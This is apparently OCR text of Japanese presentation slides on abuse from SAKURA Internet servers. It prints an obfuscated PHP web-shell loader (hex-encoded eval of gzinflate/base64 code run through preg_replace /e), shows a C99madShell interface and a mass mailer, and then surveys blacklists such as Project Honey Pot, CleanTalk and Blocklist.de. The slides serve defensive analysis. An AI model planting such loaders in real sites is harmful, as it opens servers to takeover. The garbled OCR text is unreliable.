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o 20154F8H <XbMDVPS F|H 4% 75,0004 227
http://www.sakura.ad.jp/press/2015/0827 vps-5th/
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. 2009448 HAHY—/\EHHA 10,0004 25

http://www.sakura.ad.jp/press/2009/0422 dedicated server 10000.html
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<?php

$auth pass = “b5b55ece****" "97e8893189b7ef30****";

$color = "#df5";

$default charset = 'Windows-1251";

extract(array("default_action" => 'FilesMan', 'default use_ajax' => true));

$BB =

"¥X65¥X76¥X61" . "¥XO6CY¥X2B8¥X67¥X7A¥X69" . "¥XOE¥XO66¥X6C¥XO61¥XT74¥X65¥X28" . "¥X62¥X61¥X73¥X65¥X36¥X34" . "¥X5F¥X64¥X65¥X63¥X6F" . "¥X
64¥X65¥x28"'7XZ2ZZ1re9s2z/DZZZn9VcwmjfZq+PYTtu7s2MnazzZQ5t2jTpcugp6ePIsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARIJKARBAHT7XR
VnNI1uidXZZ706d73x72TC/PN2dmHzj18dbZf7x2dmd9KIXZZZbHCtPQCbYHzjgKWYtZQWDZZZdFo3XZZZvj/wHKPM]jFNvGkzwx/vTold+hL9cq2MF9tC9dgL8
/GKNe84N/jqxR10PEktN5vaZZZLk8AZAEZWZA+L5prIKswdTTy/5xTNv82yWmOJ8swlFxMfoHXZZZoWDZZZOnKFLuWqlSZc+qz9iRH7F9fzrumVCvc+NGTXZZZ
YP/9tyx24ndKKi6QSBH3Q8f2CWj84PDZZZwEqyYPUDZZZuWHZrmq5Yysm45z49jTyPXZZZHncgdOQICcumz47kjNyrGaZZZSNr4NqdP6d+5ISdYDZZZpGGI7bc
/ruGNr96fS4A607PTg+gsaZZZaZZZ9cpzk3fVIF18MLGL10L+dGwjAQzKh1HgTkLPCodOWCZzQSCFI4AETTYMzcSMMHT+Zs8sEExXBOgWi20fS3AGiwPL/ZhofPh+

PQMMCITN2UATKGzc3z87mAvF4ZnEaZZZaZZZ4FbPQP/QH7riIhPdcp2hsAJswy3MH4A5YNzZOAE7Y2+H4zYyImGfq818c00/cEKwS5kf9Bpswx1PphGLbid0azZZy
JS2dgazzZZ8aZZZ+2mh10uzA87Nrypk7LbLfNI9sYazZZZYoY/UGXZZZbOA1DZZZ8p3I9vOrIKpwBd1zTZNDZZZt0KicPUNG1m4brIMGOIxk+1mTaZzZZNhB6mh8YM
MNOR+4n!

g
72z0q73MVI1qllUgHwlpbrMelL46k/+UG9aZzZZx73318pjWZeazZZZs7+ZnUXMHSSEHFrnvMgDZZZb7qSIXDZZZMSzK8R+TyNZ11aZZZ+GQXZZZUycwPUuWKNPWLY's
P6NXZZZL5j6jgShibdl6bXZZZ39PykdTHYDZZZ{iIfV3hM422Z0072pMZsWaZZZq5sMWtii205bZT+GDZZZNb6nwt1VumZPABid774/P9jrbu7sneHg2o0A/+1/
omjqKZ28A4WEbiaZZZoKmG+VCRILMTDZZZHh6FMQWOYHkJJ555Ikw2kSL1SGPJ2V1Fixs/KWONZKEWpRI5SrOhIdpXZZZpAGZFW6MOWXZZZjbVoNFnrTioTzyir
uwUKJIhh3pMV4NABDZZZx4wl0Cyt6mG191rPuV5DZZZhqF IbuxnlGpDZZZz3EmxVoil0sCGtaZzZZRhAwxJiGzpjfsbzYINAnjZNHTNyijGWilQKE1VKpLzXZZZm
ttNOttEUrNXZZZ1rUUPt3IYazZZZ2mtI/52W24tbbsctf6QUerITh/tLvQsBHGo175kaZZZU/LwwYP4ZDZZZjpOFcRY6XZZZh13hvUOaZZZKT8rGB4XZZZV7E+n
xx2YoqcHx0eQG1p9ZwTMS11b7thFV5WiicmdET3qyuIYbU4Agjc91mCpzzk5MCOz70Hc58TOt3hQDZZZ0XZZZ2hQeV7fCeoLNqOulb+iR9aZZZwo80ZtZXZZZK
2r56dUYJIbQgDZZZn2wbjvy2c5cgh8gAi9LbazZZFz71C13SwzDZZZXAYT72vwA="¥X29¥x29¥x29¥x3B" ;

$AA = str_replace("zzz", "", $BB);
$CC = "/.*/e";

preg replace($CC,$AA,".");

?>
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'C99madShell v. 3.0 BLOG edition!

Software: Apache/f2.2.25
System: FreeBSD www23@l.sakura.ne.jp 9.1-RELEASE-p24 FreeBSD 9.1-RELEASE-p24 #0: Thu Feb 5 10:03:
User/Group: 4R [ users
Php version: 5.2.17
Php modules: mysql, mysqgli, curl
Install program: gcc, cc, Id, php, perl, python, ruby, make, tar, nc, locate, wget, fetch, lynx, curl, lwp-mi
Allow_url_fopen:
Allow_url_include:
Safe-mode:
| it || w2 || stminge || g neme g ||t
| o= || wotiogtester || wopooitin || wessttings || tempistetosser [r—
/home /it [ www (el / wp-content/uploads/

Search PHP-code Self remove

Listing folder (4 files and 4 folders):

Modify Owner/Group
10.02.2015 13:50:20 A sers
27.02.2015 01:29:44 o Users

Select all Unselect all | With selected: Hl I Confirm

:: Command execute ::

I I Execute HI I Execute

:: Search :: iz Upload ::

| I - regexpl Search B T 7L DGEIR Fh T E ‘L’a"wl Upload

:: Make Dir :: :: Make File :
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Inbox Mass Mailer
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O g ain Text [ 1L send ebdails
?© Inbox Mass Mailer 2008
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PrO_]eCt Honey Pot (https://www. DrmecthonevDot orq/)

Funﬁihﬂ&‘@j" E E_iwau
Refer a Friend

Home IP Data Statistics Services Help About

Directary of IPs Lookup IP

Hair £ Spam Servers Dictionaty Attackers Comment Spammers:

IP Address Inspector

Flease note: being listed on these
pages does not necessarily mean
an IF address, domain name, ar any
other information is owned by a
spammer. For example, it may have
heen hijacked from its true owner
and used by a spammer.

Wantto keep this IP address off your
wehsite? Start taking advantane of
hitp:BL.

[fyau are the owner of this 1P
address, you can whitelist it by
connecting to this page from the [P
itself (or from an [P within f24).
Alternatively, the IP will be auto
excused after 90 days of no activity,

Top Mail Server List

19.212.0800

The Project Honey Pot system has detected behavior from the IP address consistent
with that of & mail server and dictionary attacker. Below we've reported some other
data associated with this IP. This interrelated data helps map spammers' networks
and aids in law enforcement efforts. If you know something about this IR, please leave
a cornment.

Lookup IP In: Domain Tools | SpamHaus | Spamcop | SenderBase | Google Groups | Google

Geographic Location B ERETED]

Sl TG BT | approximately 3 weeks ago
Last Received From Rl RTi=l=l
NMumber Received PPE=ukllER=aainlukisk

eI 1Bl =11 44 6 email(s) sent from this IP
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# mail.example.com (192.168.1.3)

$ dig +short ${API_KEY}.3.1.168.192.dnsbl.httpbl.org
127.1.20.1

. API Key ZEMB9 3 & T diggE1< > REFLSPAM
B EROSHE

- ZEDIPZ—XICHWVWEDE T ENTED

» BIADT Y MIEFHTSPAMIRLR DiEE H EX
- BFIRHBERIDN B ENEE

. http://www.projecthoneypot.org/ip 192.168.1.3 2D
URLCSPAMIR I D5+l IBEk = F = R] g
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CleanTalk (https://cleantalk.org/)
e T THA MDA N UK
o MRIZLUVNCMSITXTIS CIeanTaIk
« WordPress(CX & UFIF&ENZ L)
- JOvwOHK - BEZINH

AntiSpam

JV
é & phess'l 13, .
Drupal '
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CleanTalk ( https://cleantalk.org/blacklists/AS9370 )

AS59370 SAKURA Internet Inc.

ASN: ASH_ID

# ASM, Organization name Country Detected IP addresses Sparn active IP addresses Sparn rate

1 ASI370 SARURA Internet Inc Japan = 216 416 213 0.07%

Spam activity log

005k
NSk
Dk
035k
sk
LSk
oozk
0l
L L—,_\./*‘/— \-_,\_k__’,’—\‘
sk
j];
o 2HS Mo 2015 Cen 015 an 206 Frun2M G klar 204 § a0 A Moy 2EAF ur 2015 Jull 23R A It Sep s Cht ZHS
B— spam active IP adresses
SPAM active IP addresses in AS9370 SAKURA Internet Inc.
# Sender IP Detected Last seen Feported as spam
i 160,11 BN 2016-10-01 02:58:08 2016-10-03 03:57:08 27
z 1sz125 Z016-09-27 07:45:58 FO16-09-28 12:17:42 28
3 1&0. 1 N 2016-09-05 16:55:52 2016-059-12 17:16:54 23
4 1e0.1. N N 2016-08-30 05:16:24 2016-09-02 17:06:15 a1l
5 ieo.ic. a0 2016-08-27 15:17:01 2016-09-13 05:47:06 51

= 4&m 4L 94 E ands_no_an 94 ES.0T Snd S ona-an 94 . BER.ES A 20
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Blocklist.de ( https://www.blocklist.de/en/search.html?as=9370 )

@

$ SAKURA Internet

e A @ Delist ﬁ Partners lili Statistics ﬁ Downloads ﬁ API - DNS % Export IP-List ? Register a

age:

arg

it {==h, agmin)
n.oom
gin Reportatiacks

Cur=. oo

i
e advertising on the
4 for reducing server

Search for IP or AS-numbers on blocklist.de

Start @ new Search or load the site via & R55-Feed

Your Result of the Request for AS: »>9371<< has 6 matches (last 14 Days)

ads

Results cached: 29.09.2016 08:36:09 +0200 Results without cache (regenerate)

IP-Address:
Host:
AS-Network:
AS-Nr:
Service:

Last attack:

Attacks count:

49.212. 1IN History and Attacks
49.212 N

SAKURA-C SAKURA Internet Inc., 1P

AS9371

bruteforcelogin

29.09.2016 00:21:19 (on srv2l.de)

2 (this month! {2 (comolete timel

21
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+ CleanTalk (FBFECMSICEATED A bR/INAMFREZ 1)L
OAXY R RINAFEETIP FL A EODAD MR/ NARE B2 26

« Blocklist.de (& Bruteforce 775w XKDz (C Linux/Unix RE(C
BATE3Y T MITT “failzban” B’ban U BETIP 7 RL XA ET
w2 MEUTAH

R/ EIREARBRAAEESNTOBZ EH S,
\B%ﬁmmﬁ%uﬂ.ubﬁm

22
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- BEITSvIOUR hDIBHRZUIRE. GitHub (CAR
https://agithub.com/firehol/blocklist-ipsets
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